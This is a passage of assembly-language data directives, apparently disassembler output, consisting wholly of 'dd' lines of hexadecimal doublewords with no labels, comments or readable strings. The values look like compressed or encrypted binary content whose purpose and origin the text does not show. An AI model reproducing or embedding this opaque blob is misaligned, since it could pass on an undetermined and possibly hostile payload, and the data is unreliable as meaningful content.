dd 0EDACA304h, 55E9F9B0h, 0B7CA0997h, 0A6A780B4h, 0B973D957h dd 0A530D24Fh, 1BBBC18Bh, 0E8FBC37Dh, 9E5CDFC2h, 41C43F6Fh dd 62C2501Fh, 0EA537584h, 0F3545780h, 7187898h, 96095395h dd 371A307Fh, 0BF7729h, 0B324045Bh, 0ABC0D380h, 10B12FC9h dd 2BAE7A70h, 1623043Bh, 0DF43AD04h, 1400B2CFh, 519006F8h dd 0C001AAA9h, 2052B746h, 5CC6F380h, 0B5DD25ABh, 21768FD0h dd 0D2A194C6h, 4F2E9D20h, 9228CC90h, 0D1E651FCh, 6BA1E50Ah dd 0D7000DE9h, 0DDEB4C5Ah, 875C0960h, 0CD7F905Fh, 611661C9h dd 686F3A6Ah, 0DC6F6D00h, 0CD9D8976h, 0BB0617BAh, 0D739294h dd 0C29A9554h, 90029266h, 628975F2h, 49AD5C6Bh, 30791E53h dd 449E2D50h, 0F1980462h, 84D1FFA7h, 0A2B2AC8Ch, 0D94B737Bh dd 23E3F092h, 29915D04h, 14DB026Ah, 37D2D6C0h, 0EA717A71h dd 0F3E98295h, 16794B6Dh, 2491070Eh, 0AEB6BFD3h, 527473F0h dd 0A2B22F09h, 0C909846Eh, 84E1A9B8h, 0F7A92FAEh, 1C05F0BCh dd 73E162EFh, 23F4E9C7h, 0F059F6BAh, 732C56h, 849C1622h dd 0E8854E53h, 0D201C5A4h, 0A9B5B3E6h, 86DCDF96h, 3B7A3B58h dd 0AEDDA100h, 7599D892h, 4B98F495h, 2E5F2841h, 9B6FB635h dd 23D28501h, 6208F59Dh, 87C24B24h, 37DFA9A8h, 3E01810Bh dd 829F77E1h, 9D03F952h, 95957085h, 0D3E7DD8Bh, 9D6019E4h dd 0BE006149h, 23603990h, 0B5126D95h, 1A3DF0A2h, 0EFB86104h dd 1DE23643h, 0AA1E30h, 7C928AFFh, 3BEF6BECh, 49890F28h dd 0AF52109Fh, 0D9550096h dd 76BF2E61h, 0CA1C07AAh, 2541E2A1h, 0E81835FAh, 0CE335ED6h dd 8379DBF6h, 807A67A0h, 1729133Ch, 452EB1Bh, 0AE2EC940h dd 981F63F3h, 336580BAh, 910B89ACh, 3DD83B4Bh, 80428A29h dd 0B0934B7Ch, 0C4B5CFB0h, 0F270E6ABh, 0CC007092h, 0BCAD817Bh dd 236AEF9h, 985C03A3h, 93C21E9Bh, 7F824365h, 40800720h dd 2784B8Bh, 1994DCD5h, 0EEE171E4h, 0F7A2140Eh, 3D341D00h dd 0B30AC9C5h, 0A4975B71h, 945DD069h, 608AC080h, 10E1801Dh dd 3067C673h, 104E5A58h, 40602181h, 0BB57C8B6h, 0E64EC004h dd 64BC5F5Bh, 0A2B0BF87h, 0CE836FAh, 6FE67933h, 2538997h dd 5ED05467h, 0CF810A51h, 349D03DCh, 0EBC0C82Bh, 7F25881Dh dd 0BD53E013h, 1B075939h, 0A1E904D6h, 18A45D21h, 9AB0D34h dd 996307D3h, 89D60C61h, 9578E9BDh, 612FF492h, 3154AF97h dd 0B98D3106h, 3E447101h, 89C30481h, 0BF2D1CE7h, 0F8250AF2h dd 8F159E4h, 69B6C4D9h, 0A5830522h, 66FE1800h, 4B5C781h dd 398D89ADh, 410CB913h, 0DEBA9262h, 150B60F6h, 0B4512C09h dd 0D92A4180h, 0F620C8h, 56B0702Bh, 0CB730F9h, 7B66A70h dd 41641DDCh, 2F4840DFh, 7C69D2E8h, 7F10E695h, 0E63A0981h dd 0C6DF142Dh, 0FDBD1047h, 5ABB0123h, 0B91D9C36h, 4E99BC3Bh dd 5800166Eh, 0D36532A6h, 84BF516Eh, 0A31014BAh, 2E90C309h dd 90BDC678h, 0EB9D26h, 0D7F44D8Ch, 6191B1D5h, 5B7AF609h dd 0E9C602FCh, 7B590932h, 2B09D824h, 9FA4B7D2h, 8A21421Ch dd 2442B184h, 4A91F09h, 0D3DA0D5Ch, 0BF2F503Eh, 4D0BF7FAh dd 0D9262B72h, 0A4C4A5FBh, 0F07576A2h, 0A6359765h, 2A811791h dd 89E042A1h, 5E2DFD6Ch, 373EB07h, 131E2F70h, 402B114h dd 120DF198h, 0EDF5CCE2h, 9DD6A8DDh, 5B8112F6h, 0F5394387h dd 4BBDBB20h, 22C7CE32h, 0BBB8703Dh, 0B589021Bh, 3B5704B1h dd 0DA1E09F2h, 5CCDE1FFh, 0E3D2EAC0h, 0C8E904D4h, 0BC457B50h dd 484A568h, 79DF4509h, 52044443h, 0A30216B2h, 0E6733075h dd 0B751485Eh, 586B14h, 0DEDC176Bh, 26995610h, 0ED010Bh dd 5760ED2Fh, 34BC9509h, 58F15F92h, 0A62E122Eh, 8F4FE00Ch dd 0E1C212B2h, 617104D3h, 6E33AE10h, 0EF2F4BE0h, 0FD0FE46Bh dd 7889B00Eh, 596D4807h, 6082AA5Bh, 796FEB80h, 0F3619220h dd 0BF0F0920h, 97685FD8h, 2D8B0387h, 0D66ADB1Ah, 0BF37507Dh dd 0A080B194h, 44959A90h, 1789E992h, 0A9117B35h, 82D1FD60h dd 610BF516h, 7257DB58h, 92320A86h, 0F12AD932h, 533057D8h dd 7E23468Eh, 30612F7Fh, 0CDE9010Eh, 0DF2ADE2Bh, 12C6E440h dd 257DD0B1h, 0E0CAE6E2h, 0ABD0F5D3h, 0EF63F1Dh, 0B8E1DB82h dd 35E30B3h, 0EBE85D69h, 7A7E8CA2h, 0A7C0D100h, 0ECD4F8E2h dd 8C834B23h, 937DB3CCh, 0BB35CE95h, 7DAB5083h, 0E89F1B00h dd 85651462h, 20269898h, 3AED2361h, 0B2B835A9h, 70207201h dd 0AE43861Fh, 4595C26h, 8F0263BCh, 0AB873386h, 0B7E8C1E1h dd 0FF4052Eh, 6042C985h, 0E13195ACh, 558DC11Fh, 1617474h dd 2267D781h, 0F8501719h, 0DE972434h, 6F04D646h, 519D2953h dd 5B257EECh, 0F9020BE6h, 0DDD6968h, 5C0C14Dh, 0F1B9BB10h dd 8175C918h, 24DE967Ch, 9F04D12h, 0CA731EDDh, 2B181A79h dd 0EB8B9C07h, 0A11E2DA2h, 90DC8AFBh, 0AD80D03Ch, 9BDA77B6h dd 0EDF45026h, 90FFB700h, 4EC1BD03h, 56948B29h, 6055B001h dd 8A9B05A4h, 433E8C6h, 9188198h, 80023761h, 0CAA36F3Ah dd 0B80722F5h, 2B5D73BDh, 4A266543h, 4FEECF58h, 0EB041E6Ah dd 0E8877578h, 5131CB31h, 0A5A62CCBh, 5713E545h, 8E64DEAEh dd 0AED020ACh, 25292FAFh, 6558B15Fh, 81753260h, 9630D9E7h dd 23CF2703h, 0F3EE9B44h, 278E4B58h, 77E83AE9h, 0CA016FFCh dd 0B479E519h, 0F97C1A88h, 84F6B2D2h, 0B6EF043Ch, 0C572F010h dd 0C5A55A88h, 0D0F2C2Ah, 6DB5FD6h, 0AA54B082h, 0BF8147F9h dd 0ACDEA80h, 6BDA752Eh, 0C1ED003Eh, 501A18D7h, 0DF1B0FBDh dd 7F2503BBh, 25B0810Ch, 10C3042Ch, 66B88C15h, 0A3E0B6B5h dd 0AECC8865h, 6D2F0433h, 5204800Fh, 5B0141ACh, 7F4AABBh dd 0E742F1Ah, 0F0C9B3BAh, 0B9978FFh, 524743D5h, 4FD60F09h dd 0C9FE5092h, 2A0E35A0h, 0F3840320h, 758A3CC8h, 0B8983382h dd 0C642EE73h, 1CF1845Dh, 0BB8F02ADh, 237B65C9h, 0D468AEh dd 48C203C9h, 0CB0BFB50h, 65F2714Ah, 0D576C8A9h, 0FB044A4Eh dd 14BC8E59h, 11DBEB93h, 0D6B92F80h, 0FC5E8957h, 7B2CB709h dd 0D46DA517h, 0C6601B64h, 0EE3FD2B7h, 0D48C92B0h, 3C8066ECh dd 0A0789077h, 15368809h, 28DD7050h, 2C328A0Fh, 3F30F957h dd 5537202Fh, 0B766AC00h, 0B1F22F2h, 319D8B58h, 0BB040DF8h dd 369C1135h, 0C9D30BBCh, 0C4C5D892h, 0F167BD00h, 6D813BF4h dd 8C124B23h, 39EA60F0h, 40B20601h, 2958D31h, 0C14A9663h dd 18647A9Bh, 9AFA5F8Bh, 0C11AC872h, 0C0DDCB47h, 0C162F979h dd 42D8DD8h, 1F63F250h, 0AADF1651h, 25E51D00h, 122FF8A3h dd 0FA8E0F98h, 0B641398Ah, 0A526B161h, 825E1CF0h, 0A4FFEE40h dd 0BD29097Ah, 905C078Dh, 0F4810FE2h, 23B3898Eh, 0D3F26C5Ch dd 0EE2850CDh, 805DDE97h, 96B23853h, 0BF015250h, 410475A7h dd 6ABA310Fh, 1260BA4Fh, 152DA5Ch, 632CE645h, 6BAD3158h dd 0A1E0B112h, 0BAB98805h, 0E236F00h, 9661C9B0h, 0FADA4D8Bh dd 0BAE48ECFh, 4B73B803h, 0C0FE64EBh, 55D29C9Bh, 0A68EBD00h dd 0AAF08318h, 0ECA3AEB1h, 0E2024AE5h, 669AD349h, 2AE11B80h dd 0D802DCF9h, 62939133h, 40A55657h, 0C21B7A38h, 9FB3F000h dd 8B827D30h, 0D1BA09E1h, 2556CD5Dh, 71195F67h, 3F3E447Ah dd 45001D23h, 0CA120967h, 268D09CEh, 7871062Fh, 54E4F892h dd 0B600BD8h, 0F490E5BDh, 0F912E981h, 4EB96165h, 8C1BECh dd 0FD426C8Fh, 0ECCC53Eh, 0FC1CA8BEh, 70DEE989h, 70BBBB88h dd 0F60F6CA3h, 0C5421D9Fh, 0D0B2527Fh, 5D1C9E00h, 367D3CAAh dd 1E87F000h, 865EF87Ch, 0C18B2D5Fh, 610326C4h, 2A3F103Dh dd 36ABF8B7h, 0E7694A66h, 879A4A3Eh, 0CE80682h, 1F9DF320h dd 34C8002Dh, 5B968DBEh, 5F2AFA47h, 0F8F04550h, 44AB3C00h dd 0C475CF19h, 0C8994AEDh, 6A71F243h, 0DC8D769Fh, 4F01FBF8h dd 0D7808489h, 0FD2E6AB1h, 0E7B7B82Ah, 8808C420h, 82021C95h dd 0B4624834h, 6F9E81BBh, 0D4372CBEh, 0DAC975A0h, 5F1B3D09h dd 65151F3h, 843A32EDh, 872AAF00h, 926D7638h, 0D80E1ED5h dd 0EF840425h, 4B09BCBAh, 2C016BBEh, 0C6E006ECh, 1ED48A5h dd 573E7FD5h, 2BB1E5A1h, 1C9F8120h, 0B0AC0E8Ch, 0E0C05352h dd 1B24A1B4h, 66BBC401h, 109FD304h, 11CB353Bh, 0E64EECFDh dd 0C08AE0CBh, 0D0F09B6Ah, 9C015C27h, 0D13D28CAh, 48D6549Eh dd 0F3BD8905h, 5B25AE28h, 3A971AE6h, 61F1CD0Fh, 0F4A5CAF3h dd 551226E3h, 0C0B8F6A9h, 220D8E4Bh, 7B90B563h, 0EA043775h dd 904EA4A5h, 9867A4EBh, 0E995010Ch, 308BB72Ah, 6AC5B9BDh dd 80006002h, 5061E9EEh, 2A9D73BFh, 0BEBF6252h, 36D436Ah dd 693E39B0h, 642734BBh, 5F570001h, 0D1525DFh, 0F900614Ah dd 3FD32499h, 4FE105B7h, 10C20CECh, 0BD100389h, 0E9093399h dd 0F5710E9Eh, 0BE7962h, 1119D03h, 298B3C96h, 0D86CC908h dd 0D295372Eh, 94706D95h, 0E0D98B2Dh, 0D3DCBE35h, 0F39AABD5h dd 9F3DF6C0h, 9B1633DAh, 55048C6Bh, 77B9F9BFh, 0F8C78082h dd 8BC24B5Ch, 69095CFBh dd 0D40CC877h, 0FED51442h, 4000EB1Bh, 2BB71025h, 1754B59Dh dd 0FF506A93h, 27412DD9h, 5301132Bh, 0E0FBB649h, 320D1A7h dd 0AE6B6D99h, 0C19D8610h, 2B04E1F5h, 27225A8Ah, 9DDF6050h dd 4661E40h, 612037B8h, 6D4298B0h, 29A89400h, 428C2A12h dd 807109DDh, 8798CE9Ch, 6E0249C0h, 6F56BE2Fh, 7A0957CFh dd 87003CF1h, 948130D3h, 6411006Ch, 31B7BB23h, 9A028212h dd 8A71E421h, 0D9FFE1F9h, 1BADF454h, 2419ACD8h, 27075682h dd 298207D9h, 57104585h, 95897030h, 201F2121h, 2CE920BBh dd 0BB0E8095h, 4B07ED99h, 600F8011h, 17B087B0h, 2B614809h dd 72FD50C8h, 0D18B3135h, 1180552h, 4E5382E9h, 5269E621h dd 0C84A8C85h, 0AEC8F80Dh, 355FA804h, 0E320EB91h, 9393C9Eh dd 722E337Fh, 701A5E13h, 96724022h, 0C7183259h, 3A15E9B5h dd 0DC8B300Fh, 3FF8D8Ch, 5A419009h, 21EFB621h, 0A1F81722h dd 2328FFA4h, 0FE1A1DA5h, 9F8DD8Ah, 0FBCC826Bh, 566BE2A3h dd 35C7C21Bh, 0C0A46D0Bh, 0DC088F05h, 0DCEE9AD3h, 0AB035863h dd 0B4BA450h, 0F8D4A0FBh, 0C03F0146h, 92B06C45h, 0DBEC3F3Ah dd 76CDBFCEh, 896E2F8Ch, 78EAA002h, 61F6D75Ah, 2A5D9C40h dd 63FE1C6Dh, 0DC440532h, 837DBC8Bh, 0B8DB815Fh, 97786842h dd 0D7E0591Bh, 1D04D92Ch, 0F5EB973h, 0EAB964EFh, 0BA59A400h dd 1AE799h, 0AFEE225h, 0E6C9091Ch, 201B812h, 7D583FE1h dd 0C59D2F89h, 0FDB3148Fh, 21B83Bh, 0D442BF49h, 860F5952h dd 0FB483896h, 24C52640h, 2A2C0BBFh, 66566086h, 1746D4h dd 98D741ACh, 275BEB80h, 357DD22Bh, 40DA9CADh, 190FB360h dd 0B481730h, 5E220BAFh, 95AF6429h, 988D8CB6h, 66F28562h dd 237D4C6Fh, 0F0670600h, 540A26EEh, 0C0446402h, 7F1A92D0h dd 0C858735Bh, 0B5E2DD9h, 0B2952F50h, 0DC9AFEB9h, 7AC14604h dd 0D3B980DAh, 128C1BACh, 0FE0C2B82h, 0E0C58294h, 0A958C3EDh dd 0E7323512h, 0ADF04ADDh, 0BD1D9729h, 0E1B5F5A5h, 70799902h dd 0DC0274DEh, 3F1F9F01h, 3E3CBD63h, 282BDE35h, 0FC9761D6h dd 5E00F423h, 0B6E4D4B0h, 1227B318h, 37D88B4Eh, 0B8BEA4A9h dd 4802D3F5h, 0FBE1FF97h, 0BCAE7009h, 0DEDF007h, 822BB592h dd 9336548h, 0E742FA59h, 0F4092904h, 0F244FA59h, 0E18D4953h dd 6D2BEA58h, 61252819h, 7B7EA4FBh, 0A9EA0280h, 4D60FE8Ah dd 6ABCE07Bh, 8D14EFEDh, 91E880Fh, 7899DB80h, 0E081AD13h dd 793A17E9h, 0B2741309h, 96687F49h, 23F21610h, 0C68B2900h dd 4CFD58CFh, 0A3890094h, 2E54243Ch, 6A39BF34h, 5F6F12C8h dd 6E2A54F1h, 0DF460009h, 0CA480CC2h, 21BB0EECh, 0F41237C1h dd 1435B54h, 0C93019E2h, 2CCBF288h, 9357F3Fh, 557B1D49h dd 0B909B8A4h, 17C4DD05h, 1FDB41B7h, 6C8B9D6Bh, 38863C4Ch dd 6C52AE50h, 0EA613D60h, 36EB00AFh, 296570A6h, 8C4E4255h dd 0B902153h, 24AFDF81h, 0F4C06AA2h, 6B8E6800h, 0CDCCF251h dd 549560E5h, 2051AEEh, 80B07C9Dh, 0D4D153FDh, 591C8C97h dd 81C0D758h, 33514DE3h, 14E12C9Dh, 0F16880FBh, 8AF080BCh dd 0C6E4FC5Ah, 0F9E2D47h, 910792B7h, 545B1623h, 0C49DC7F8h dd 0B4E2AC2Bh, 17846AFFh, 2FF3606Ch, 1364232Eh, 72CCEB1Dh dd 0CC8F0089h, 94F39058h, 2D01C2C6h, 31CE6B4Dh, 46A5995h dd 0E86158DCh, 0C0D9583Bh, 0C444A809h, 481F0052h, 0D7B183E7h dd 9009FEC8h, 5E071AF9h, 0DE8AC0B1h, 4A8AD8E9h, 6BCF5C3Fh dd 1997EBF0h, 55FD29ADh, 0E115527Fh, 93DE3AA1h, 0D6F4C680h dd 4D2D9D23h, 69F77134h, 0B451387Bh, 43FC5C8h, 6B5A1489h dd 593822Dh, 516562Bh, 0A3895383h, 0E65B009Eh, 0CBEDCEEAh dd 0C8DD0F43h, 8944E444h, 0BBE0BF8Dh, 0BBBA975Bh, 85600C6Dh dd 0F65E28h, 201DC5C9h, 27359D29h, 38B3E495h, 34CF6096h dd 0D7C307E4h, 48B84161h, 0C770D6D9h, 96F2E81Bh, 98BCD41Eh dd 0BC7FB993h, 93070079h, 78844F68h, 2FE7B741h, 87B0AC03h dd 95E6CC67h, 75E073E3h, 341C9CE6h, 8C9211F2h, 7B2ACBF1h dd 761B0074h, 0DB4ADFBEh, 0B7901308h, 9702285h, 0D5E38920h dd 557D0515h, 0CC57Eh, 5A3DB7A9h, 0EDB79058h, 0A359C0B9h dd 0BE07E58Ch, 0B3698F4Ch, 0DBB70FB1h, 6B961032h, 38350085h dd 0AD42E34h, 20DFB88Ah, 5996191Dh, 0F6BCC40h, 95047261h dd 7C1196Dh, 1C25879Ch, 2AF13D2Eh, 0D58014DAh, 4CAE2FDEh dd 9C21F02h, 5712399Dh, 5470E59Ch, 0DEDBD49Dh, 7DE4710Eh dd 0BB87A22Eh, 0E5AD55Bh, 155B79Fh, 9D5532B6h, 844D0341h dd 0E11A24AAh, 0E86B2E3Ch, 4D3016E2h, 0C2B95ADAh, 28510E29h dd 1F578562h, 0F8801C91h, 0D81747AEh, 2C2FE0FCh, 0A0B61355h dd 0BCC6D60h, 0A0B94136h, 0CA03C302h, 0D0F83157h, 36FE792Fh dd 395CB113h, 92287F0h, 0EF47EA2h, 0B389E751h, 9201D1F6h dd 0A914F2F9h, 475D56Fh, 0AF20F1EBh, 0C104CF74h, 0B31304F9h dd 3017F2A7h, 9F05F369h, 1DB58970h, 1A9F29AAh, 7CE2C060h dd 95F58DDCh, 1964E7EDh, 0E6402C60h, 0CC5CB139h, 0D3B04244h dd 0B0A04CA6h, 0CC046A15h, 396BD6A5h, 0F5C9C3BCh, 0FB169D7Bh dd 15AC72BDh, 4E46048Ch, 0BCFCF88Bh, 0BD0B0B8Eh, 5CE742D9h dd 0CE532F8Bh, 24DD270h, 8B2CE3EAh, 7BF4F99Dh, 10C5BD85h dd 2F6A2DAFh, 378078DAh, 386FC910h, 855A0E65h, 0A0B83394h dd 0A9B08D6h, 5F566080h, 4BC58D29h, 93A3C907h, 9256893Ch dd 0AADCACh, 0C2A5C05Fh, 0BEB5E78Ah, 0E1306B90h, 7B1269BFh dd 17F170B9h, 900A202Eh, 0BB011366h, 0E3CEC8C7h, 0F960A3B0h dd 469A9D60h, 61F73882h, 41AF175Eh, 0B93ADA56h, 784F00A2h dd 0A2A307C9h, 1C87E4B5h, 935B6160h, 0B26F96h, 897247A3h dd 8028F98Dh, 3109DF81h, 7650B40Eh, 33C5E29Bh, 80E1C75Eh dd 282FDBDFh, 37E140C2h, 2780B083h, 6BAC0E75h, 4B3EF52Fh dd 0B4446096h, 4787CF07h, 0DA016866h, 3E843Eh, 3AF23F5Bh dd 50166116h, 6CECD5B7h, 10A7AD2h, 0B1D146F2h, 0A870ABD5h dd 815700FEh, 172BD3E3h, 9A975F6Eh, 251457D0h, 11A5C99Dh dd 6C61F801h, 0BA3A80F5h, 0E35747Ch, 0DB1B7972h, 18800D40h dd 0FDE2A84Dh, 0EE959C25h, 1535BDDCh, 0A8A3D503h, 5E48BA2Eh dd 0ABF752BAh, 70925368h, 0BB1266CCh, 2DBDA30Dh, 0A9C3FDD3h dd 8C91536Fh, 780006A1h, 0A41EBF46h, 3268BC9h, 3ED15D0Dh dd 4FD104B1h, 5FDFEC18h, 59B7C65Ah, 0BCA420B3h, 0A8A6F4FDh dd 2039B6A1h, 0CF13E7A3h, 7CECA5F3h, 0E9701120h, 0CAFFF238h dd 0B800B3E2h, 9FEC10F4h, 29E075F3h, 5DB4BD4Ah, 0C18B255Bh dd 2994CAE6h, 4642BF01h, 202C70C5h, 8E92DF27h, 159CF9DCh dd 43BBC82Ah, 13B48C78h, 0A2AE17BDh, 31010E31h, 1EF14134h dd 0C4F428A6h, 97D18E1h, 0CEFFA8A8h, 0ACF42C4Fh, 0B6054AC0h dd 0CC99E0E6h, 43FFE82h, 0FAE780BEh, 3FACCD50h, 8D0951FCh dd 4FE2988Ah, 0E7170D79h, 5578D71Ah, 980BAF37h, 997E8564h dd 0F9CC56BBh, 1D1BCF6h, 532865Ch, 6A7C9D3Eh, 0BD8D4160h dd 76D4B506h, 40A3FCCBh, 0CCEAAC3Eh, 0CEA42502h, 0A05F5EB3h dd 8AAFA30Fh, 629614A2h, 0B110F982h, 0E65B2520h, 860F2F5Bh dd 0DF1E10E6h, 85D6D1FFh, 7B316030h, 0CA164B86h, 25AB3548h dd 0A4E0E7F6h, 63163BAEh, 0C16F026Ah, 732D6000h, 0E5DA614Dh dd 0CAF13898h, 800012DDh, 0ECB75387h, 0BF4F9E5Bh, 80C8DBDEh dd 0F992C93Dh, 0FDFFA034h dd 0CDBB8017h, 405B10FAh, 1BB244F6h, 76C1D530h, 9F1EA6Fh dd 8EE90B78h, 9C29079h, 8D3102CFh, 0D3C94A55h, 50517022h dd 1188EA24h, 5C1A450Bh, 7D44E9F7h, 49C28A03h, 0D8626758h dd 95C7FEh, 6C80A1F8h, 0F4A5BA5Dh, 5026CF13h, 0D8E098EAh dd 8AEB3D9Dh, 9B96982h, 355E28EDh, 0D4A57472h, 735C4A24h dd 97BAF700h, 1376EF81h, 12F7D77h, 5DBBBD10h, 23DE6B0Ch dd 4BA8C15Dh, 9D89C213h, 5A6A80A4h, 0E068B6FFh, 0B88BF97Eh dd 0E9DC9DAEh, 23511596h, 4C3FAC29h, 0BCF1FBDh, 0D432CF60h dd 0E69E367Eh, 4D4A0140h, 5BEE2752h, 1945194Ch, 0F47DD502h dd 0D8BB8358h, 0C86B08Eh, 8B40A004h, 0F6B0E6FAh, 532040A1h dd 71203F90h, 0F05B4A09h, 17F1871Dh, 5CFC8F65h, 0FD7AF8C9h dd 9A09DE44h, 0FD139758h, 0FB257A70h, 2F6E44Dh, 66FDF780h dd 5609F88Bh, 8D296023h, 93970EDDh, 0D92825FCh, 0B5FBFAE3h dd 12C0E8B4h, 99BCC82Bh, 473B4280h, 0F4E6851Ah, 5F002175h dd 0ABC17978h, 2F0960CBh, 7387758Dh, 4B996501h, 99F8618Eh dd 0DE9DB990h, 33EBA00Ah, 0BB0F0185h, 2FB4E7F8h, 2B13059Dh dd 0AA48E5AAh, 0F94EAF12h, 2B270592h, 0DE6980C0h, 0EA54E850h dd 0F42B6A00h, 29F21C25h, 0EDD20FA4h, 0BE272EE7h, 0A9859353h dd 5B5F0184h, 3BA530E9h, 0C5B512E6h, 38891986h, 0A293A17h dd 86896Bh, 0C1853168h, 86F20E5Ah, 0C0452584h, 0A5BD2368h dd 0C503242h, 0BA295A7Dh, 9A3FDB29h, 0AAC781DDh, 58732BBEh dd 0D82E7000h, 0D07E66C5h, 6FECC000h, 0D4AD6905h, 0E89BE6BFh dd 0B8D8FF58h, 0C8B91224h, 0A068F70Eh, 25DE65BFh, 5990523Fh dd 0F300AB69h, 6959DC1h, 4A7E096Bh, 907EC11h, 785BCC98h dd 7856B3E8h, 0FC4A7E61h, 2B064EB3h, 2708E9C0h, 547BC00h dd 0BAF48AF1h, 0BCD2FE76h, 87C7250Eh, 810960A4h, 21EDF70Fh dd 612AB9E0h, 9A9502D9h, 820DA1Ah, 0D44E0F60h, 53880D2Dh dd 0DECCD88Ch, 58838004h, 0E084FC51h, 99489CE3h, 0BC20D112h dd 7AADB518h, 0C9000FA8h, 3518A3Ch, 4BB36F0Ah, 0EF5020ECh dd 3000A294h, 0E091CE86h, 1AC393h, 6BD0AF09h, 27F4963h dd 49FC54B7h, 1718902h, 7FBC5B04h, 0C0435ABDh, 0D45C5FDEh dd 0AD9D1733h, 3AD79812h, 44F47C09h, 46697950h, 37972556h dd 0B80200BBh, 314A469Dh, 2E4B82B0h, 0FE507AA6h, 0F7134A15h dd 9D167C62h, 0CDBD0D49h, 0B71F884Ah, 34900301h, 0C49262C6h dd 1BC0FD8h, 0F18ADC43h, 2F373901h, 8A505E28h, 0FD525B5Ch dd 4B5E72A9h, 467409DCh, 6F79F2F3h, 0B34BFC46h, 0E0C77880h dd 2B05E898h, 604BB87Ch, 7212246Bh, 5680C199h, 6C172F6Eh dd 450071B2h, 0C2F1CD20h, 0A0003EDEh, 1DF5C71Eh, 254269D0h dd 41E2E9D8h, 7E70E05Bh, 0FF15259Fh, 11239E8h, 0B56F6EE1h dd 7F905404h, 0D36FACF9h, 23E3EA12h, 7A72BF3Ah, 3B63B516h dd 28946AC1h, 0B6026FEh, 1528FA25h, 0D81D8D89h, 81796125h dd 56135047h, 0BB248C5Fh, 28E4E41Dh, 53FC8816h, 0FE304AA0h dd 0C71C4806h, 95378913h, 0D98A9200h, 0B107310Fh, 61585A47h dd 0CDEAA2Ah, 334E99F3h, 0FB8A95C0h, 69CDA7E9h, 0E4E0FD49h dd 0CD9589A6h, 62144445h, 0E9CB82DCh, 2CCCF619h, 1236047h dd 0AF00E47Bh, 9E46A905h, 16FDABA3h, 4332E2Dh, 103485FBh dd 0F0C44ABBh, 0F03AF6FEh, 1D1F7ACh, 3C288310h, 248B917Bh dd 2F400102h, 6D851103h, 20894B02h, 22B6F6Fh, 0D4807909h dd 693A5E74h, 0DE705453h, 31A3046Ch, 0BCDAFD86h, 7FB9D638h dd 0D7A499C9h, 0D0E6FF89h, 498D10E7h, 8F1206F1h, 7502E803h dd 7423D59Dh, 8151E4E9h, 7D044625h, 1FD0B87Fh, 8052B355h dd 890FE6A6h, 0E6BCD95h, 0EA410BD9h, 137DF2Ah, 0E4DDED1Fh dd 18A2454Fh, 4B5BFE52h, 813CCCF5h, 0EF98F704h, 0A3FB581Fh dd 92CF005Dh, 89115368h, 566027FEh, 70178410h, 1CA08C00h dd 0A9B294BFh, 796700B5h, 34EE6E46h, 98126D74h, 84F55BA2h dd 0ACF6042Fh, 0E93984F2h, 3E75B8E2h, 89099F07h, 4878DA93h dd 60494F97h, 19271494h, 0D30ECA97h, 0EC377167h, 19127CF5h dd 2F022A17h, 0DD11299Dh, 1491B5B7h, 81619584h, 2B101D40h dd 6358EFCFh, 0E317D912h, 0A73F88DCh, 0DFA230DDh, 0E9091CE4h dd 4B7E254Ah, 0F56002F4h, 0E8750940h, 59012471h, 5E3A6A93h dd 5F53097Ah, 25DDC771h, 3BD68C56h, 8A4BBBFEh, 0E9F922C2h dd 976C23Fh, 0E56BD29Eh, 0C0C3CD29h, 8C52AB02h, 31F20A04h dd 56D4A5BDh, 0D87F3FB1h, 0FE881208h, 0B0B30E13h, 6440FA53h dd 154D5F55h, 18ADE51Fh, 71A44E09h, 0D710A5A7h, 5A0011EAh dd 5F61B8C6h, 26BBFF9h, 0CEE1D7D0h, 0B5C7A3Ah, 0F6775C25h dd 0F5D2E22Eh, 12EB7625h, 0D37ABD5Fh, 8324C36Bh, 262108A2h dd 37B75303h, 0FFBBE85Bh, 7C2A26A5h, 0B57FADB4h, 0EAE6AD14h dd 8B16EB02h, 0CC820FDEh, 3A9254Ch, 14E4B96Dh, 9D31CF60h dd 7926A92Dh, 906D69D3h, 98CB8242h, 0BE3BEFh, 4EFAF44Ah dd 7E99030Eh, 857C2101h, 5371F949h, 7351CE9Ah, 0C42BED55h dd 45C06115h, 464C2728h, 851D1404h, 7DD8AB27h, 20B125BDh dd 9D42A779h, 2528F60Dh, 228172B8h, 0A65FE4B5h, 0DB0007Ch dd 7EF37237h, 70005CDBh, 0A8BF401Bh, 7D800A2Ah, 589977Fh dd 60DCCF76h, 82BE0640h, 922FFD8Eh, 0FBCBF885h, 0B1303C21h dd 0EFFE8A10h, 83B7CD40h, 0A57C0141h, 90C68246h, 83F62A91h dd 0D7311AB2h, 1B33EC8h, 662A080Dh, 2FB210BFh, 1CED1813h dd 3F1CF5ECh, 0A540DFF9h, 0DE7DD447h, 0BC9F90B7h, 9E90DE83h dd 0F5E89801h, 1001BD2Bh, 0D518607Fh, 6A00967Ah, 5ED03CCFh dd 272E24EEh, 3B50D88Bh, 69A9FD4Bh, 5EA22BEDh, 2FD66F2Ah dd 6689E70Ch, 80323D55h, 0FED8A50h, 723CBE33h, 90562DF4h dd 0FAC4539Bh, 5167045Dh, 80B8BC36h, 23EB05Fh, 39A8404Bh dd 808C9AD2h, 0C82303F8h, 950B1C60h, 0FA28530Dh, 0E56A188h dd 0D9F26C1Fh, 41D02500h, 0E4005293h, 85BE7C24h, 7A4D8363h dd 0F685BF61h, 89B3675Fh, 0DECABA57h, 1EFAD4DCh, 0F98BE316h dd 29006EE2h, 56DD1992h, 0FF023C0Ch, 28C5D26Ch, 51A25E9Eh dd 0AB7B7B77h, 8EE42C02h, 0D6696AFh, 26E5C400h, 71C66537h dd 0DCB83F5Bh, 7E93A098h, 0A75A559Ch, 650220BFh, 0CC00519Dh dd 0F49A077Ah, 1A3AA0Ah, 4CCFFAD7h, 6696BFCEh, 5E8FF0E8h dd 76E213h, 95BB66A6h, 0DCD78057h, 7AEFC3A2h, 1B2A3BC0h dd 0B5B89892h, 1A6411EDh, 4500FB64h, 86A3CB0Dh, 29BD1703h dd 0D93E221Ah, 57DA0131h, 0B5AF0047h, 0D6302DAh, 0D95E5C38h dd 57121451h, 68C510C1h, 0E65F25B2h, 0DD8A25C1h, 2FFC89E1h dd 6A2E6C3Dh, 81D13894h, 8DEF80AAh, 122F8FE9h, 8043DB64h dd 0DE5D28EAh, 4F730027h, 95892CF1h, 0C1881749h, 0E1CB2780h dd 0ED9539D8h, 601A644Ah, 5D96277h, 8E095B10h, 0EE3B250h dd 0E0C697BEh, 0AF07C51Bh, 78920F0Eh, 0ECA005B2h, 0D7D1544Dh dd 1A285490h, 425DC34h, 702FFB24h, 0FC04297Ah, 